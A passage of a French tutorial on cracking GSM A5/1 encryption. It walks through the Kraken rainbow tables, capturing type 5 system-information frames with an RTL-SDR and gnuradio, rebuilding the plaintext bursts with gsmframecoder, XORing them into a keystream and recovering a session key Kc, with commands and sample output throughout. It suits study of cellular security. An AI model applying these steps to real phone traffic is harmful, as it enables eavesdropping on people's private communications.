 Table: 0 356 225171847	
 Table: 0 230 358191796	
 Table: 0 340 378658386	
 Table: 0 380 388890708	
 Table: 0 108 133057445	
 Table: 0 238 81901548
 Table: 0 116 214939911
 Table: 0 268 92131489
 Table: 0 332 368426161
 Table: 0 276 276337464
 Table: 0 250 204699650
 Table: 0 124 307030440

Behemoth va générer les index de ces tables(extension en .idx) dans le répertoire /mnt/dltKraken/kraken


Tester Kraken

On va maintenant pouvoir tester si nos tables nous permettent de déchiffrer des trames GSM de test. Pour cela il faut lancer kraken.

korigan@Zanorg:/mnt/dltKraken/kraken#Kraken/kraken  .
Device: /dev/mapper/Zanorg-root 40
/dev/mapper/Zanorg-root
Allocated 41404056 bytes: ./132.idx
Allocated 41259888 bytes: ./324.idx
Allocated 41252956 bytes: ./172.idx
Allocated 41257176 bytes: ./388.idx
Allocated 41240688 bytes: ./396.idx
Allocated 41248788 bytes: ./404.idx
Allocated 41301076 bytes: ./260.idx
Allocated 41254252 bytes: ./412.idx
Allocated 41246480 bytes: ./364.idx
Allocated 41235184 bytes: ./180.idx
Allocated 41250740 bytes: ./292.idx
Allocated 41230652 bytes: ./220.idx
Allocated 41236892 bytes: ./372.idx
Allocated 41260184 bytes: ./428.idx
Allocated 41256180 bytes: ./436.idx
Allocated 41253772 bytes: ./500.idx
Allocated 41279240 bytes: ./188.idx
Allocated 41239116 bytes: ./492.idx
Allocated 41235072 bytes: ./100.idx
Allocated 41241432 bytes: ./164.idx
Allocated 41243292 bytes: ./196.idx
Allocated 41269576 bytes: ./140.idx
Allocated 41239636 bytes: ./204.idx
Allocated 41249180 bytes: ./156.idx
Allocated 41253276 bytes: ./212.idx
Allocated 41247816 bytes: ./420.idx
Allocated 41236164 bytes: ./348.idx
Allocated 41237644 bytes: ./148.idx
Allocated 41246592 bytes: ./356.idx
Allocated 41257276 bytes: ./230.idx
Allocated 41249048 bytes: ./340.idx
Allocated 41314028 bytes: ./380.idx
Allocated 41257060 bytes: ./108.idx
Allocated 41239444 bytes: ./238.idx
Allocated 41247488 bytes: ./116.idx
Allocated 41248632 bytes: ./268.idx
Allocated 41248652 bytes: ./332.idx
Allocated 41235976 bytes: ./276.idx
Allocated 41281052 bytes: ./250.idx
Allocated 41274520 bytes: ./124.idx
Tables: 132,324,172,388,396,404,260,412,364,180,292,220,372,428,436,500,188,492,100,164,196,140,204,156,212,420,348,148,356,230,340,380,108,238,116,268,332,276,250,124
Error when opening A5Cpu.so: ./A5Cpu.so: cannot open shared object file: No such file or directory
Commands are: crack test quit

Kraken>test
Cracking 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011
...

Maintenant nous pouvons cracker les trames.

Trouver la clef Kc

L'attaque sur l'A5/1 repose principalement sur le faite que les trames "Système information, type 5" sont répété à intervale régulier. Avant la commande de chiffrement, ces trames sont envoyé en clair. Nous pouvons cependant réaliser une attaque basé sur la connaissance du texte en clair sur le flux chiffré.

Sniffer les trames de type 5

Maintenant que tout est prèt, nous pouvons tenter différentes aproches.

Manuel

Nous allons:

  • utiliser gnuradio-companion et le schema gsm.grc pour sniffer les trames.
  • Ouvrir wireshark et écouter sur lo
  • Exécuter gsm_receive_rtl.py pour traiter les frames qui vont alors s'afficher dans wireshark
  • (optionnel) Utiliser wireshark pour visualiser une frame qui match GSM TAP Header, *identifier* le numéro de frame (GSM TAP Header -> GSM Frame Number)
  • Utiliser tcpdump pour filtrer les trames de type 5. Il nous en faut au moins deux (dont une en clair??)
  • Analyser le résultat de gsm_receive_rtl.py et récuupérer le block de la trame *identifiée*.

Example:

C1 862242 1332356: 0010000000011100001000000011001000110000011000001100...
P1 862242 1332356: 0010000000011100001000000011001000110000011000001100...
S1 862242 1332356: 0000000000000000000000000000000000000000000000000000...
C0 862243 1332389: 0000000001010010001000000000001010000000011010110100...
P0 862243 1332389: 0000000001010010001000000000001010000000011010110100...
S0 862243 1332389: 0000000000000000000000000000000000000000000000000000...
C0 862244 1332422: 1000000101001010000000011110000000000101000001000100...
P0 862244 1332422: 1000000101001010000000011110000000000101000001000100...
S0 862244 1332422: 0000000000000000000000000000000000000000000000000000...
C0 862245 1332455: 1100000001001001000001010000110101010010000001000001...
P0 862245 1332455: 1100000001001001000001010000110101010010000001000001...
S0 862245 1332455: 0000000000000000000000000000000000000000000000000000...
862245 1: 00 01 03 03 49 06 1d 9f 6d 18 10 80 00 00 00 00 00 00 00 00 0...
Les lignes commençant par *C* 
C
sont les trames chiffré,
P
sont les trames en clair
S
est le keystream. 
Le texte chiffré est obtenu en faisant un XOR entre le texte clair et le keystream.
Comme la clef n'a pas été envoyée, le texte en clair est egal au texte chiffré.

How-to en quelques étapes

Maintenant on va pouvoir procéder à l'extraction de la clef. L'attaque se base sur 2 trames de type 5:

  • On va intercepter une trame A
  • Repérer l'offset en seconde d'une trame B et calculer la difference avec l'offset en seconde de la trame A
  • On a donc la différence de temps entre les deux trames, et on connait donc le contenu de B puisque la seule chose qui change c'est le timestamp dans le paquet.
  • Pour comparer les deux paquet, il faut qu'il soit identique. On va donc injecter le timestamp du paquet A dans le paquet B avec gsmframedecoder.
wget http://132.230.132.75/download/misc/gsmframecoder.tar.gz
tar -zxvf gsmframecoder.tar.gz cd gsmframecoder/ 

En entrée on lui fournit la représentation hexadécimale de la frame A avec le timestamp corrigé.

./gsmframecoder 00 00 03 03 49 06 1d 9f 6d 18 10 80 00 00 00 00 00 00 00 00 00 00 00

En sortie on récupère 4 burst.

Decoding 0000030349061d9f6d1810800000000000000000000000
Encoded Frame, Burst1:
00100000000101000010000000110010001000001100000010000000011010100000000...
Encoded Frame, Burst2:
00000000011110100011000010000010110000001110101000000000001001010100000...
Encoded Frame, Burst3:
10010001010010100000000101100001000001010000000101000000000100000011000...
Encoded Frame, Burst4:
11000000110010010000010100001001010100000000000000010000000101010000101...

Maintenant on va pouvoir comparer la trame en clair (A) et la trame chiffré (B) pour calculer le flux de chiffrement. Il suffit de faire un XOR entre les deux pour récupérer le flux de chiffrement.

  • C1 avec burst1
  • 1st C0 avec burst 2
  • 2nd C0 avec burst 3
  • 4th C0 with burst 4

Cela peut être fait avec xor.py dans le réprtoire d'outils de kraken.

./Utilities/xor.py 001000000001010000100000001100100010000011000000100000000110101000000000001011010001000000110100001000101001000110 0100101000101 11111011010010010111000000101010000100100111111001010100111110000101001110
000101110100011111000010001 011010100011101111111010011110011010000110010000000100111001100010100111111011111000110000011010101011010001010111
./Utilities/xor.py 0000000001111010001100001000001011000000111010100000...
./Utilities/xor.py 1001000101001010000000010110000100000101000000010100...
./Utilities/xor.py 1100000011001001000001010000100101010000000000000001...

Maintenant on va pouvoir cracker ces keystream avec kraken.

Crack avec Kraken

Maintenant on peut utiliser la commande "crack" de kraken sur les différents keystream. En cas d'echec, essayer le suivant:

Kraken> crack 101111111110010000001001001111100100001110100011010110111000
011110110011001101000000011000110010110100000100011000
Cracking 10111111111001000000100100111110010000111010001101011011100001...
Found d5eb21665d2b8f25 @ 13 #2 (table:172)
crack #2 took 197996 msec

Cela signifie que la clef "d5eb21665d2b8f25" à généré la bonne sortie à la sortie "13" après 100 rotations.